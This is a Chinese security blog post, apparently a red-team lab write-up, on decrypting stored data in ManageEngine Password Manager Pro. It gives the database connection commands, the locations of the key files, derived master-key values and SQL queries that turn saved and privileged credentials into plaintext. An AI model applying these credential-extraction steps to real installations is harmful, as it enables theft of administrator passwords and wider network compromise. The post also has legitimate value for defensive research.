【技术原创】Password Manager Pro利用分析——数据解密

admin 2022年12月22日13:33:04评论15 views字数 3280阅读10分56秒阅读模式

【技术原创】Password Manager Pro利用分析——数据解密

【技术原创】Password Manager Pro利用分析——数据解密        0x00 前言

在上篇文章《Password Manager Pro漏洞调试环境搭建》介绍了漏洞调试环境的搭建细节,经测试发现数据库的部分数据做了加密,本文将要介绍数据解密的方法。

【技术原创】Password Manager Pro利用分析——数据解密        0x01 简介

本文将要介绍以下内容:

数据加密的位置

解密方法

开源代码

实例演示

【技术原创】Password Manager Pro利用分析——数据解密        0x02 数据加密的位置

测试环境同《Password Manager Pro漏洞调试环境搭建》保持一致

数据库连接的完整命令:"C:Program FilesManageEnginePMPpgsqlbinpsql" "host=127.0.0.1 port=2345 dbname=PassTrix user=pmpuser password=Eq5XZiQpHv"

数据库连接成功,如下图

【技术原创】Password Manager Pro利用分析——数据解密

常见的数据加密位置有以下三个:

(1)Web登录用户的口令salt

查询Web登录用户名的命令:select * from aaauser;

查询Web登录用户口令的命令:select * from aaapassword;

结果如下图

【技术原创】Password Manager Pro利用分析——数据解密

password的加密格式为bcrypt(sha512($pass)) / bcryptsha512 *,对应Hashcat的Hash-Mode为28400

其中,salt项被加密

(2)数据库高权限用户的口令

查询命令:select * from DBCredentialsAudit;

输出如下:

【技术原创】Password Manager Pro利用分析——数据解密

password项被加密

(3)保存的凭据

查询命令:select * from ptrx_passbasedauthen;

结果如下图

【技术原创】Password Manager Pro利用分析——数据解密

password项被加密

导出凭据相关完整信息的查询命令:

【技术原创】Password Manager Pro利用分析——数据解密

注:

该命令引用自https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/

【技术原创】Password Manager Pro利用分析——数据解密        0x03 解密方法

加解密算法细节位于C:Program FilesManageEnginePMPlibAdventNetPassTrix.jar中的com.adventnet.passtrix.ed.PMPEncryptDecryptImpl.class和com.adventnet.passtrix.ed.PMPAPI.class

解密流程如下:

(1)计算MasterKey

代码实现位置:C:Program FilesManageEnginePMPlibAdventNetPassTrix.jar->com.adventnet.passtrix.ed.PMPAPI.class->GetEnterpriseKey()

如下图

【技术原创】Password Manager Pro利用分析——数据解密

首先需要获得enterpriseKey,通过查询数据库获得,查询命令:select NOTESDESCRIPTION from Ptrx_NotesInfo;

输出为:

【技术原创】Password Manager Pro利用分析——数据解密

这里可以得到enterpriseKey为D8z8c/cz3Pyu1xuZVuGaqI0bfGCRweEQsptj2Knjb/U=

解密enterpriseKey的实现代码:

【技术原创】Password Manager Pro利用分析——数据解密

跟进一步,如下图

【技术原创】Password Manager Pro利用分析——数据解密

解密的密钥通过getPmp32BitKey()获得,对应的代码实现位置:C:Program FilesManageEnginePMPlibAdventNetPassTrix.jar->com.adventnet.passtrix.ed.PMPAPI.class->get32BitPMPConfKey()

代码实现细节如下图

【技术原创】Password Manager Pro利用分析——数据解密

这里需要先读取文件C:Program FilesManageEnginePMPconfmanage_key.conf获得PMPConfKey的保存位置,默认配置下输出为:C:Program FilesManageEnginePMPconfpmp_key.key

查看C:Program FilesManageEnginePMPconfpmp_key.key的文件内容:

【技术原创】Password Manager Pro利用分析——数据解密

通过动态调试发现,这里存在转义字符的问题,需要去除字符,文件内容为60XVZJQDEPzrTluVIGDY2y9q4x6uxWZanf2LUF2KBCM=,对应的PMPConfKey为60XVZJQDEPzrTluVIGDY2y9q4x6uxWZanf2LUF2KBCM=

至此,我们得到以下内容:

PMPConfKey为60XVZJQDEPzrTluVIGDY2y9q4x6uxWZanf2LUF2KBCM=

enterpriseKey为D8z8c/cz3Pyu1xuZVuGaqI0bfGCRweEQsptj2Knjb/U=

通过解密程序,最终可计算得出MasterKey为u001JO4dpWI(%!^#

(2)使用MasterKey解密数据库中的数据

数据库中的加密数据均是以x开头的格式

解密可通过查询语句完成

解密数据库高权限用户口令的命令示例:select decryptschar(password,'u001JO4dpWI(%!^#') from DBCredentialsAudit;

输出如下图

【技术原创】Password Manager Pro利用分析——数据解密

这里直接获得了明文口令N5tGp!R@oj,测试该口令是否有效的命令:"C:Program FilesManageEnginePMPpgsqlbinpsql" "host=127.0.0.1 port=2345 dbname=PassTrix user=postgres password=N5tGp!R@oj"

连接成功,证实口令解密成功,如下图

【技术原创】Password Manager Pro利用分析——数据解密

解密保存凭据的命令示例:select ptrx_account.RESOURCEID, ptrx_resource.RESOURCENAME, ptrx_resource.DOMAINNAME, ptrx_resource.IPADDRESS, ptrx_resource.RESOURCEURL, ptrx_password.DESCRIPTION, ptrx_account.LOGINNAME, decryptschar(ptrx_passbasedauthen.PASSWORD,'u001JO4dpWI(%!^#') from ptrx_passbasedauthen LEFT JOIN ptrx_password ON ptrx_passbasedauthen.PASSWDID = ptrx_password.PASSWDID LEFT JOIN ptrx_account ON ptrx_passbasedauthen.PASSWDID = ptrx_account.PASSWDID LEFT JOIN ptrx_resource ON ptrx_account.RESOURCEID = ptrx_resource.RESOURCEID;

输出如下图

【技术原创】Password Manager Pro利用分析——数据解密

提取出数据为PcQIojSp6/fuzwXOMI1sYJsbCslfuppwO+k=

(3)使用PMPConfKey解密得到最终的明文

通过解密程序,最终可计算得出明文为iP-6pI24)-

登录Web管理后台,确认解密的明文是否正确,如图

【技术原创】Password Manager Pro利用分析——数据解密

解密成功

【技术原创】Password Manager Pro利用分析——数据解密        0x03 开源代码

以上测试的完整实现代码如下:

【技术原创】Password Manager Pro利用分析——数据解密
【技术原创】Password Manager Pro利用分析——数据解密
【技术原创】Password Manager Pro利用分析——数据解密
【技术原创】Password Manager Pro利用分析——数据解密
【技术原创】Password Manager Pro利用分析——数据解密
【技术原创】Password Manager Pro利用分析——数据解密
【技术原创】Password Manager Pro利用分析——数据解密
【技术原创】Password Manager Pro利用分析——数据解密

代码修正了https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/中在解密MasterKey时的Bug,更具通用性

【技术原创】Password Manager Pro利用分析——数据解密        0x04 小结

本文介绍了Password Manager Pro数据解密的完整方法,修正了https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/中在解密MasterKey时的Bug,更具通用性。

【技术原创】Password Manager Pro利用分析——数据解密

【技术原创】Password Manager Pro利用分析——数据解密

原文始发于微信公众号(嘶吼专业版):【技术原创】Password Manager Pro利用分析——数据解密

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月22日13:33:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【技术原创】Password Manager Pro利用分析——数据解密http://cn-sec.com/archives/1472727.html

发表评论

匿名网友 填写信息